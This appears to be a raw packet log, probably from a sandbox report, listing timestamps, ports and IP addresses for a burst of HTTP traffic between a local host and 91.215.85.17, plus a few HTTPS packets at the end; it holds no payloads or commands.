Oct 13, 2023 16:06:19.691857100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691883087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691915035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691939116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691972017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691973925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.692004919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.692008018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.692039013 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.692121029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.692140102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.692162991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.692176104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.692190886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.692223072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.692255020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.692286968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.692353964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.692384958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.692410946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.692445040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.692471027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.692506075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.692507982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.692540884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.692563057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.692598104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.692692995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.692724943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.692751884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.692784071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.692884922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.692918062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.692975998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.693007946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.693033934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.693063974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.693090916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.693128109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.693131924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.693161011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.693238020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.693270922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.693316936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.693351030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.693392992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.693424940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.693487883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.693521023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.693566084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.693594933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.693636894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.693667889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.693705082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.693738937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.693766117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.693799973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.693836927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.693866968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.693953037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.693985939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.694027901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.694060087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.694133997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.694169044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.694190979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.694225073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.694226980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.694259882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.694283009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.694319963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.694336891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.694371939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.694417000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.694448948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.694477081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.694510937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.694554090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.694586992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.694628000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.694660902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.694705009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.694739103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.694761992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.694794893 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.694890976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.694926977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.694992065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.695031881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.695102930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.695137024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.695200920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.695235968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.695285082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.695322990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.695365906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.695400953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.695482016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.695514917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.695559025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.695596933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.695663929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.695702076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.695730925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.695769072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.695827007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.695862055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.695905924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.695938110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.695981979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.696013927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.696057081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.696094990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.696161985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.696197033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.696223974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.696255922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.696300030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.696335077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.696377039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.696410894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.696501970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.696537971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.696571112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.696619987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.696649075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.696686029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.696774960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.696810007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.696852922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.696886063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.696928024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.696959972 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.697024107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.697057009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.697118998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.697156906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.697200060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.697232962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.697276115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.697308064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.697393894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.697428942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.697457075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.697489977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.697516918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.697554111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.697597027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.697633982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.697721958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.697757006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.697784901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.697819948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.697984934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.698021889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.698065042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.698095083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.698190928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.698225021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.698246002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.698282957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.698313951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.698349953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.698390961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.698420048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.698508978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.698542118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.698570013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.698601961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.698699951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.698731899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.698760986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.698797941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.698887110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.698920012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.698941946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.698976040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.699012995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.699045897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.699115038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.699145079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.699187994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.699218988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.699290991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.699322939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.699395895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.699433088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.699446917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.699482918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.699525118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.699561119 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.699675083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.699712038 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.699740887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.699773073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.699800014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.699820042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.699831963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.699852943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.699898005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.699934006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.699961901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700001001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700042963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700083017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700103998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700123072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700140953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700160980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700200081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700234890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700253963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700285912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700314045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700349092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700351954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700386047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700432062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700472116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700504065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700542927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700571060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700603008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700655937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700691938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700735092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700786114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700814009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700848103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700875044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700911045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700932980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.700967073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.700994968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701014996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701031923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701046944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701096058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701128960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701157093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701189995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701217890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701252937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701255083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701283932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701312065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701348066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701366901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701401949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701428890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701466084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701497078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701515913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701529980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701550007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701580048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701615095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701642036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701674938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701703072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701735020 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701759100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701793909 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701793909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701812029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701826096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701842070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701930046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.701963902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.701992989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702013969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702030897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702045918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702078104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702095985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702114105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702135086 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702157021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702192068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702280045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702311039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702328920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702369928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702385902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702403069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702452898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702491045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702517033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702549934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702550888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702584982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702609062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702644110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702724934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702756882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702770948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702807903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702848911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702884912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702913046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.702953100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.702986002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.703003883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.703020096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.703035116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.703098059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.703135967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.703145027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.703176975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.703178883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.703210115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.703236103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.703280926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.703310013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.703330994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.703347921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.703361988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.703428030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.703459978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.703525066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.703547001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.703562975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.703577042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.703619957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.703653097 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.703685999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.703722000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.703764915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.703797102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.704953909 CEST	443	49795	172.217.14.109	192.168.2.4
Oct 13, 2023 16:06:19.704963923 CEST	443	49796	142.250.72.238	192.168.2.4
Oct 13, 2023 16:06:19.705061913 CEST	49795	443	192.168.2.4	172.217.14.109
Oct 13, 2023 16:06:19.705127954 CEST	443	49795	172.217.14.109	192.168.2.4
